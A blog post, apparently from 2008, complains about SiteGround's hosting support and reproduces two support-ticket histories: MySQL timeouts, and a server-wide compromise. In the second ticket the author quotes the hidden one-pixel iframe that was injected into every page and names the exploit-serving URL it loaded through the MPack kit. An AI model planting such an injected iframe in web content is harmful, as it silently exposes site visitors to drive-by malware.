And why do they suck? Because their support system sucks, and their quality of service is going down the drain – fast! We host the Whisher forums at SiteGround, as the traffic was not so high as to warrant a dedicated server at our colo, and we chose them as they claim to be the No. 1 hosting site for vBulletin. Over the last few days, we have been getting several warnings from the vBulletin forum about the MySQL database “going away”, meaning the SQL queries time out. This is usually caused by overloading of the server, and it had never happened before. Without having changed anything, and without a sudden surge in forum activity, it is hard to imagine how this could be our fault.
I contacted SiteGround support about this, which in itself is an oddysey. First, they introduce you to the ‘get help’ area, where you have a couple dozen or so options for different support areas, but there isn’t a big red ‘Open Ticket’ button. Since they offer no realtime chat support, as companies like BlueHost does, tickets are the only way to get support. Waiting for a ticket response when you have problems like your site being down, or realizing their cPanel has been hacked into causing all your hosted files to become ‘infected’ with an iframe is like watching paint dry. Only slower. If you are looking at submitting a ticket, you will find that many categories only have links to knowledge base articles, but again no ‘New Ticket’ link or button. Only certain categories like DNS issues or cPanel problems have such link, right at the bottom, and even then, they read like this:
If neither the resources above, nor our extensive knowledge base could help you answer your question, please click here.
which takes you to the ticket entry page. In no place do they mention the word ‘ticket’ until you manage to find it. It is also worth mentioning that there is no ticket category for ‘MySQL problems’ or even ‘database problems’. I had to submit a ticket under the cPanel category, so that it could be forwarded to someone who knew about MySQL. I will post the ticket timeline below, and you tell me if I am deluded:
| ID: | 304831 | Domain: | whisher.com |
| Issue Date: | 2008-05-16 03:36am | Owner: | |
| Category: | Service Related Problems->cPanel related problems->Other cPanel problems | ||
| Subject: | Other cPanel problems |
| Description: | Hi,Your ticketing system SUCKS. I am getting the following error message, today almost 40 times, via email, from our vBulletin install:Database error in vBulletin 3.6.8:Invalid SQL:SELECT *FROM session
WHERE userid = 0 AND host = ‘65.55.211.19′ AND idhash = ‘d70e64de5d58b616ae49e7db3a1d3ef2′ LIMIT 1;MySQL Error : MySQL server has gone away Error Number : 2006 Date : Friday, May 16th 2008 @ 02:26:18 AM Script : http://forums.whisher.com/search.php?do=finduser&userid=1&searchthreadid=90 Referrer : IP Address : 65.55.211.19 Username : Classname : vB_Database It seems the MySQL server is acting up, but you have no category here for ‘MySQL related problems’, so I just put it here and hope someone who knows about it fixes the problem. |
| Replies: | 2008-05-16 03:36am by system – | Note that this is a system auto reply.Dear Sir/Madame,Your ticket has been submitted successfully.Please note that all issues in this category are handled by our cPanel Specialist. Please allow one business day for your ticket to be serviced.We highly recommend that you also visit our cPanel Knowledge Base, where you will find the answers of most of the questions already asked in this category by our customers:http://kb.siteground.com/category/cPanel_related_issues.htmlBest regards,
SiteGround Support Team www.SiteGround.com |
| 2008-05-16 04:24am by Niko – | Hello Mike,Thank you for contacting our Help Desk center!We have revised the issue carefully and as part of our investigation, we noticed that this message in vBulletin is most likely returned due to a low value of the wait_timeout variable in the MySQL service. However, we can assure you that with the current configuration of our shared hosting servers, we have not received any complaints of such kind from the many vBulletin users. What is more, our System Administrators configure the Linux Shared Hosting servers based on their best knowledge for optimal server performance.Could you please, elaborate whether you have made any recent changes in your forum, as this might help us to better investigate this problem.Looking forward for your reply.Best Regards,Niko
Support Team SiteGround.com |
|
| 2008-05-16 04:31am by whisher – | Hi,I have not made any changes to the vBulletin install. I just started receiving these messages, a first batch of 60 or 70 three days ago. Then they stopped and the forums seemed to work, so I attributed it to a temporary glitch. Today is a nightmare, I have received over 200 emails already, and the forums are definitely not working.To be clear – no changes have been made at all. | |
| 2008-05-16 04:36am by Niko – | Hello Mike,Thank you for the update. I have tried to resolve the case but it seems that it is beyond my scope of expertise. This is why I will have to forward your case to the attention of our supervisors for closer review. They will revise the case within one business day and in turn provide you with an appropriate solution.Best Regards,NikoSupport Team
SiteGround.com |
|
| 2008-05-16 07:07am by Anatoli – | Dear Mike Puchol,These errors are caused by our MySQL limits set to prevent server overloads. Please note that this is a shared server and its resources are shared equally among all users.Briefly, our mysql server tries to prevent slow and heavy queries. According to our Terms of use:Customer should use the MySQL and Post-Gre database server resources in a way that does not endanger the quality of the overall server performance. A database that generates more than 10% of the database queries longer than 1 second at any given time endangers the overall server performance. The Customer is responsible to manage his/her database(s) so that it is in compliance with this policy.For more information please check this link .Please try optimizing your database for the queries which fail. There is nothing we can do on the server’s side to prevent such problems.
Thank you for your understanding and good luck with your site. Best Regards, Anatoli D. Senior Supervisor, Technical Support Team Siteground.com |
Now…this is a standard vBulletin install, running against a standard MySQL database. How can I possibly try to optimize the database queries? They are what they are required for the forums to function, and I honestly don’t think that vBulletin has such crappy queries. Also, are they not the #1 vBulletin hosting service? How can they know so little about it to ask me to optimize my queries? They are not mine – they are vBulletin’s! Besides, the warning emails I was receiving were standard queries, like reading a thread, or registering a new user – nothing to keep the server churning for decades.
Anyway, if this is not proof of their incompetence at what they claim is a top-quality service, check this out:
| ID: | 208983 | Domain: | whisher.com |
| Issue Date: | 2007-06-24 07:43pm | Owner: | |
| Category: | Service Related Problems->Other issues->Other | ||
| Subject: | |
| Description: | First: you should have a direct link to SUBMIT TICKET. It’s very hard trying to find a section where a ticket *can* actually be submitted.Our account got hacked. Someone managed to insert this:<iframe src=”http://mckeownrealestate.com/home2.html” width=1 height=1></iframe>into EVERY php and html file in our server (forums.whisher.com), which hosts a vBulletin.PLEASE, can you check the logs to see if they got in via FTP, or otherwise? |
| Replies: | 2007-06-24 07:43pm by system – | Your ticket has been submitted successfully.All issues in this category are handled by our FTP Specialist. Please allow one business day for your ticket to be serviced. |
| 2007-06-24 08:21pm by GeorgeY – | Hello Mike,Thank you for contacting our Support Help Desk.We would gladly investigate your case, however, we have noticed some malicious code inserted to your website, so we would like to ask you some questions, so could you please provide us with a straight answers to the following questions:1. do you have an antivirus application installed on your computer and is it up-to-date2. how ofter you use the cPanel
3. have you noticed something strange to your cPanel lately 4. are you using some proxy services to connect to the Internet 5. do you made any recent changes to your website and what have you used in order to do so 6. when you have noticed the malicious code inserted to your website 7. have you made some changes to your website around that date 8. do you use an FTP client to connect to your hosting account We are looking forward to your reply. Kind Regards, George Y. Support Team SiteGround.com |
|
| 2007-06-24 08:47pm by whisher – | 1. do you have an antivirus application installed on your computer and is it up-to-date>> I use Apple Macs. To date, there are no known viruses or trojans that could cause this.2. how ofter you use the cPanel>> It depends, I haven’t probably used it now in 2 weeks or more.3. have you noticed something strange to your cPanel lately
>> Nothing at all – just today, the iframe has also appeared in all cPanel HTML files. How could someone do that, are cPanel files per-account, or per-server? 4. are you using some proxy services to connect to the Internet >> No, always direct ADSL. 5. do you made any recent changes to your website and what have you used in order to do so >> Nothing recent. And if any, Dreamweaver CS3 combined with an FTP client. 6. when you have noticed the malicious code inserted to your website >> A few hours ago. 7. have you made some changes to your website around that date >> No. 8. do you use an FTP client to connect to your hosting account >> Yes, Transmit on my Mac. Best regards, Mike |
|
| 2007-06-24 09:14pm by whisher – | Oh, by the way, two colleagues, one in Germany, the other in the US, have loadedhttp://cpanel.siteground179.com/and they both see the iframe inserted into the source of the page. This proves beyond doubt that it is your whole server that has been hacked, not just our account. How it happened? I don’t know. But you better do something about it NOW.And you also better tell me what are you going to do to compensate a) our downtime and b) our having to fix our site and re-upload everything… | |
| 2007-06-25 01:10am by whisher – | HOW MANY HOURS DO WE HAVE TO WAIT TO EVEN GET AN ANSWER, OR ESTIMATE, OR SOMETHING?????????? | |
| 2007-06-25 01:41am by bill – | Hello Mike,Please excuse us for the delayed reply.We are still investigating the reasons for the issue, however, the most common version is that there was a recent security breach in cPanel that has allowed remote insertion of malicious code in user’s files. Fortunately, it seems that only the web files are affected and no data loss has occurred.We are currently working on minimizing the effects of this issue. In your case we offer you to restore your public_html folder from our last server’s backup from 22 June. We will keep your current public_html folder renamed as public_htmlBR.Please let us know if this is suitable for you.
Regards, Bill Carter Support Team Manager http://siteground.com |
|
| 2007-06-25 01:57am by whisher – | Hi Bill,Yes please, this would be OK – we didn’t modify any files on the site since the 22nd, so we should be OK. What worries me though is that unless the core issue is fixed, we could experience this problem again.Just FYI, the iframe is calling this php: http://areyouwissel.info/bx/index.php which would inject malicious code into the user’s browser, if the browser type and version match with those affected by the vulnerability being exploited. In other words, all your HTML pages with the iframe are potentially infecting visitors with malware.Regards,Mike | |
| 2007-06-25 09:06am by Anatoli – | Hello Mike,We have carefully revised the issue in details and it turned out that the hackers used two different ways to infect customers websites.The fist method is actually a program called MPack, also known as Trojan.Mpkit!html. This is a software that is being installed on a third party server, written in PHP and using a MySQL database to collect any statistics of hacked website and compromised end-user computers.More detailed instruction about this malware can be found in the Symantec articles repository:http://www.symantec.com/enterprise/security_response/weblog/2007/05/mpack_packed_full_of_badness.html
In addition to this, there is a movie, which explains the exact way this software works: https://www.youtube.com/watch?v=TpFxbsPFgjs The second way of compromising a website is to use an unknown until the current moment bug in the cPanel control panel system. That bug is used to start the MPack program, which reflects into adding unwanted source code to your (any) website on the server. The actual “infection” is a source code injection into any and all htm/html/php files on your account – an <iframe> HTML tag at the end of each PHP/HTML page. The frame itself includes a redirect to hacker’s server with the Mpack installed on it. The redirect is designed to be invisible to the visitors of the website. Once the request is sent to the hacker’s server, it analyzes the visitor’s computer and chooses which exploit to be forwarded to it. Said in simple words – the attackers/hackers are trying to insert a simple source code into as many websites as possible. If they succeed, they infect the websites and all visitors to the websites will be potentially infected by the self spreading viruses/worms. SiteGround always cares about the security of your website and about stopping these kind of attacks for the shortest possible timeframe. We have managed to find a workaround for this serious issue and we are currently working on developing a permanent solution. Here is what we have done so far: 1) We have managed to identify how the viruses/worms spread on websites. 2) We have managed to identify the “whole” within the cPanel software and have already notified it’s developers, who should be preparing a fix which will not allow that to happen again. 3) We have managed to create a custom script, which goes through all infected accounts and cleans the infected content. As a precaution, that script will be run automatically on a given period of time and will be also run on customer’s request. At this stage, we strongly advise you to consider the following measures on your end: 1) Change all your passwords: SiteGround Customer’s Area, cPanel, website administration panel (if applicable), email passwords; 2) Run an antivirus scan on your local computer and make sure it is not infected with any kind of viruses. I have just run the script to clean your site. If you see the virus warnings again, please post a ticket in the “Site Down” category. Best Regards, Anatoli D. Senior Support Team SiteGround.com |
|
| 2007-06-25 10:28am by whisher – | Hi,I cannot submit a site down ticket, as the procedure goes into an endless loop. After accepting the java applet, I am taken back to the first page.Our account is still full of the code – we have the iframe on all the php files at http://forums.whisher.com, and cannot seem to be able to get rid of them. Please run whatever you need to to clean this up.Besides, your cPanel HTML files are still “infected”, just load http://cpanel.siteground179.com from any browser and see the small box at the bottom (the iframe itself). I guess until you clean up the server itself, you should think about moving people to another box. This is too serious to start playing about. | |
| 2007-06-25 11:00am by Anatoli – | Hello Mike,I have just re-run the sanitizing script and there should be no such code again.Also Cpanel’s page has been fixed.Please excuse us again for the inconvenience and thank you for the understanding.Best Regards,
Anatoli D. Senior Support Team SiteGround.com |
First, you will notice a pattern in my tickets saying how badly their ticket system sucks. But I digress. What had happened here is that due to a vulnerability in cPanel, an iframe that would inject a trojan over visitor’s browsers was planted in the cPanel code itself. This in turn caused all the content files on the entire server to also get the iframe code appended to them, thus, all of our forum’s PHP pages now contained this malicious code.
The first reply to this ticket came from GeorgeY, who had “noticed malicious code inserted on our website”, and demanded “straight answers”, as if we were the culprits, and by some sort of Darwin Awards-class act of stupidity, had reported ourselves after adding this trojan to our site. Duh?
By 9:14pm I had realized this was a server-wide attack, and checked with a couple of friends, who also saw the iframe on cPanel, so I reported this to SiteGround. It was not until 9am next day that they reply with a lenghty explanation of the problem came. And the suggestion to change all of our passwords. Thankfully we only run vBulletin on this hosting service, but I can imagine the logistical nightmare for a company with a few dozen email accounts and other services running.
By 10:30am, their cPanel was still infected. What good was it to cleanup files, change passwords, and so on…if the very source of the infection was still there? The replaced files would have been re-infected, and the passwords re-stolen (if that was the aim of the attackers).
In short – don’t use SiteGound. They really do suck.